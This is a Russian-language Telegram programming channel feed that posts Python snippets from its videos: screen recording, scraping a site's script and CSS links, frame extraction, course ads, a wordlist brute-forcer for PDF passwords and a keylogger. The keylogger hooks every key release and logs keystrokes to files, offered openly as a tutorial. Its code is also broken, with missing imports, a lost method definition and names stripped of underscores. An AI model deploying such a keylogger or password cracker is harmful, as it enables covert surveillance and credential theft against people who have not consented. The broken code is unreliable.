Справочник Программиста
6.29K subscribers
1.35K photos
387 videos
64 files
1.7K links
По рекламе - @it_start_programmer
Мои курсы - @courses_from_it_start_bot
Сайт - https://it-start.online/
YouTube - https://www.youtube.com/@it_start
Реклама на бирже - https://telega.in/c/programmersGuide_1

Предложить идею: @it_start_suggestion_bot
Download Telegram
Подбор пароля к pdf-документу в Python
Код из видео:

import pikepdf
from tqdm import tqdm

passwords = [line.strip() for line in open("passwords.txt", encoding='UTF-8')]

for password in tqdm(passwords, "Расшифровка PDF-файла"):
try:
with pikepdf.open("pdfTest.pdf", password=password) as pdf:
print("Пароль найден:", password)
break
except pikepdf._qpdf.PasswordError:
continue
👍16
Видео выйдет послезавтра.
16👍6😱3
Запись определённого окна на видео в python
Код из видео:

import cv2
import numpy as np
import pyautogui
import pygetwindow as gw

window_name = 'путь к файлу'

fourcc = cv2.VideoWriter_fourcc(*"XVID")
fps = 30.0
record_seconds = 15

w = gw.getWindowsWithTitle(window_name)[0]
w.activate()

out = cv2.VideoWriter("output.avi", fourcc, fps, tuple(w.size))

for i in range(int(record_seconds * fps)):
img = pyautogui.screenshot(region=(w.left, w.top, w.width, w.height))
frame = np.array(img)
frame = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)
out.write(frame)
cv2.imshow("screenshot", frame)
if cv2.waitKey(1) == ord("q"):
break

cv2.destroyAllWindows()
out.release()
👍8🔥1
Видео снова переносится на послезавтра.
9
Парсинг javascript и css с сайта с помощью python
Код из видео:

import requests
from bs4 import BeautifulSoup as bs
from urllib.parse import urljoin

url = "ссылка_на_сайт"

session = requests.Session()

session.headers["User-Agent"] = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.157 Safari/537.36"

html = session.get(url).content
soup = bs(html, "html.parser")

script_files = []

for script in soup.find_all("script"):
if script.attrs.get("src"):
script_url = urljoin(url, script.attrs.get("src"))
script_files.append(script_url)

css_files = []

for css in soup.find_all("link"):
if css.attrs.get("href"):
css_url = urljoin(url, css.attrs.get("href"))
css_files.append(css_url)

print("Общее количество файлов скриптов на странице:", len(script_files))
print("Общее количество CSS-файлов на странице:", len(css_files))

with open("javascript_files.txt", "w") as f:
for js_file in script_files:
print(js_file, file=f)

with open("css_files.txt", "w") as f:
for css_file in css_files:
print(css_file, file=f)
👍12
Видео выйдет завтра)
9😱2
Извлекаем кадры из видео в Python
Код из видео:

from moviepy.editor import VideoFileClip
import numpy as np
import os
from datetime import timedelta

SAVING_FRAMES_PER_SECOND = 10


def format_timedelta(td):
result = str(td)
try:
result, ms = result.split(".")
except ValueError:
return result + ".00".replace(":", "-")

ms = round(int(ms) / 10000)
return f"{result}.{ms:02}".replace(":", "-")


def main(video_file):
video_clip = VideoFileClip(video_file)
filename, _ = os.path.splitext(video_file)

if not os.path.isdir(filename):
os.mkdir(filename)

saving_frames_per_second = min(video_clip.fps, SAVING_FRAMES_PER_SECOND)
step = 1 / video_clip.fps if saving_frames_per_second == 0 else 1 / saving_frames_per_second

for current_duration in np.arange(0, video_clip.duration, step):
frame_duration_formatted = format_timedelta(timedelta(seconds=current_duration)).replace(":", "-")
frame_filename = os.path.join(filename, f"frame{frame_duration_formatted}.jpg")

video_clip.save_frame(frame_filename, current_duration)


video_file = 'путь_до_видео'
main(video_file)
👍19
У меня есть парочка новостей.
1. Спустя месяц я наконец-то закончил работу над курсом по библиотеке tkinter, и Вы можете приобрести его на boosty.
Первую неделю кстати будет скидка, и вместо 1000 рублей он будет стоить 500.
Подробное описание курса есть на моём сайте: https://it-start.online/kursy/sozdanie-graficheskogo-interfejsa-v-python-3-s-tkinter
boosty: https://boosty.to/it_start

2. Да, я зарегистрировался в boosty, и теперь все, кто хотел бы меня поддержать могут это сделать там.
В зависимости от уровня подписки Вам будут доступны различные бонусы. Например, всего за 150 рублей Вы сможете
смотреть видео на пару дней, а то и недель раньше, чем на ютубе (там кстати сейчас видео вышло про создание кейлоггера на python).

3. Для тех, кто хочет получить код приложения Операционной Системы на python есть отличная новость. Набрав 10 платных подписчиков,
я выложу код на boosty (и кстати, скоро 3 часть по данному приложению, все последующие обновления кода я тоже буду выкладывать на boosty).
👍13
Кейлоггер на Python
Код из видео:

class Keylogger:
def init(self, interval):
self.interval = interval

self.log = ""
self.start_dt = datetime.now()
self.end_dt = datetime.now()

def callback(self, event):
name = event.name
if len(name) > 1:
if name == "space":
name = " "
elif name == "enter":
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
self.log += name

def update_filename(self):
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

def report_to_file(self):
with open(f"{self.filename}.txt", "w") as f:
print(self.log, file=f)
print(f"Сохранение {self.filename}.txt")

if self.log:
self.end_dt = datetime.now()
self.update_filename()
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval, function=self.report)
timer.daemon = True
timer.start()

def start(self):
self.start_dt = datetime.now()
keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()


if name == "main":
Keylogger(interval=SEND_REPORT_EVERY).start()
👍14
Сегодня кстати последний день скидки на курс по tkinter.
Напоминаю, что потом он будет стоить 1000р.

А ещё сегодня выйдет вторая часть по созданию кейлоггера)
👍8